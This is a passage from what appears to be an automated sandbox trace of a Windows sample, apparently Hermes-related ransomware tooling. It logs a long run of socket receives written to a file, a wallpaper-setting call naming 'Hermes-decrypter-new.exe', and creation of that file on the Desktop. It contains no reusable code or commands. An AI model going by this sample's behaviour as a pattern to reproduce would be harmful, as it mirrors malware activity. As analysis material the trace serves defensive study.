lpOverlapped=0x0) returned 1 [0115.418] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0115.418] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0115.418] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0115.493] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0115.493] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 42000 [0115.574] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0115.574] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0115.574] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0115.632] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0115.632] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x7e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x7e30, lpOverlapped=0x0) returned 1 [0115.633] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 44800 [0115.691] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0115.697] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0115.697] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0115.697] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 50400 [0115.777] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0115.778] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0115.778] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0115.778] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 36400 [0115.849] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0115.849] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 53200 [0115.935] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0115.936] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0115.936] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0115.937] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0116.006] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0116.007] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 50400 [0116.081] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0116.082] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 44800 [0116.171] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0116.172] recv (in: s=0x6bc, buf=0x2ff90dc, len=58718, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0116.172] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0116.173] recv (in: s=0x6bc, buf=0x2ff90dc, len=33518, flags=0 | out: buf=0x2ff90dc*) returned 33518 [0116.205] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x82ee, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x82ee, lpOverlapped=0x0) returned 1 [0116.206] CloseHandle (hObject=0x6b4) returned 1 [0116.493] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe"), fWinIni=0x3 | out: pvParam=0x2fb9314) returned 1 [0116.632] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0116.632] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0116.632] SystemParametersInfoW (in: uiAction=0x26, uiParam=0x0, pvParam=0x19e3f0, fWinIni=0x0 | out: pvParam=0x19e3f0) returned 1 [0116.632] LocalAlloc (uFlags=0x0, uBytes=0x2) returned 0xfda458 [0116.632] PostMessageW (hWnd=0x60030, Msg=0x201a, wParam=0x14, lParam=0xfda458) returned 1 [0116.632] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0116.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes-decrypter-new.exe", nBufferLength=0x105, lpBuffer=0x19e228, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes-decrypter-new.exe", lpFilePart=0x0) returned 0x30 [0116.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e76c) returned 1 [0116.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes-decrypter-new.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes-decrypter-new.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0116.651] GetFileType (hFile=0x6b4) returned 0x1 [0116.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e768) returned 1 [0116.652] GetFileType (hFile=0x6b4) returned 0x1 [0116.652] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7f0 | out: lpPerformanceCount=0x19e7f0*=20265555310) returned 1 [0116.652] SetEvent (hEvent=0x2fc) returned 1 [0116.652] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5f8*=0x4a4, lpdwindex=0x19e414 | out: lpdwindex=0x19e414) returned 0x80010115 [0116.652] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x494, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0116.653] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x49c, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0116.653] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4c4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0116.653] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4cc, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0116.654] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4d4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0116.654] select (in: nfds=0, readfds=0x300ac30, writefds=0x0, exceptfds=0x0, timeout=0x19e6c4 | out: readfds=0x300ac30, writefds=0x0, exceptfds=0x0) returned 0 [0116.654] send (s=0x6bc, buf=0x2fca788*, len=82, flags=0) returned 82 [0116.654] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0116.655] recv (in: s=0x6bc, buf=0x2fc7300, len=4096, flags=0 | out: buf=0x2fc7300*) returned 4096 [0116.735] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0116.735] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 9712 [0116.735] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0116.736] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b7be*, nNumberOfBytesToWrite=0x24aa, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b7be*, lpNumberOfBytesWritten=0x19e7b0*=0x24aa, lpOverlapped=0x0) returned 1 [0116.736] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 65536 [0117.017] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x10000, lpOverlapped=0x0) returned 1 [0117.018] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 24064 [0117.018] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x5e00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x5e00, lpOverlapped=0x0) returned 1 [0117.019] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 28000 [0117.089] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0117.090] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 50400 [0117.225] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0117.226] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0117.226] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0117.226] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0117.374] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0117.375] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0117.516] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0117.517] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0117.598] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0117.599] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0117.599] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0117.743] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0117.744] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0117.744] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0117.744] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0117.744] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0117.829] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0117.829] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0117.830] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0117.957] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0117.957] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0117.958] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0117.958] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0117.958] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0118.047] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0118.047] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0118.047] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0118.191] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0118.192] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xd5b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xd5b0, lpOverlapped=0x0) returned 1 [0118.193] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0118.277] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0118.278] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0118.397] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0118.398] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0118.398] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 65536 [0118.528] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0118.528] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xfaf0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xfaf0, lpOverlapped=0x0) returned 1 [0118.529] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 10064 [0118.529] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2750, lpOverlapped=0x0) returned 1 [0118.529] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 22400 [0118.597] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0118.597] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 11200 [0118.597] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0118.598] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 33600 [0118.774] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0118.775] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0118.775] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0118.776] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0118.780] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0118.780] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0118.780] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 50400 [0118.892] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0118.893] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xbfd0, lpOverlapped=0x0) returned 1 [0118.893] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0118.893] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0119.013] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0119.013] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xa9f0, lpOverlapped=0x0) returned 1 [0119.014] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0119.014] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 50400 [0119.109] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0119.109] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xbfd0, lpOverlapped=0x0) returned 1 [0119.110] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0119.228] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0119.234] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0119.234] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0119.328] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0119.328] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0119.329] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0119.480] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0119.481] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 22400 [0119.481] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0119.481] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 28000 [0119.547] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0119.547] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0119.547] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, 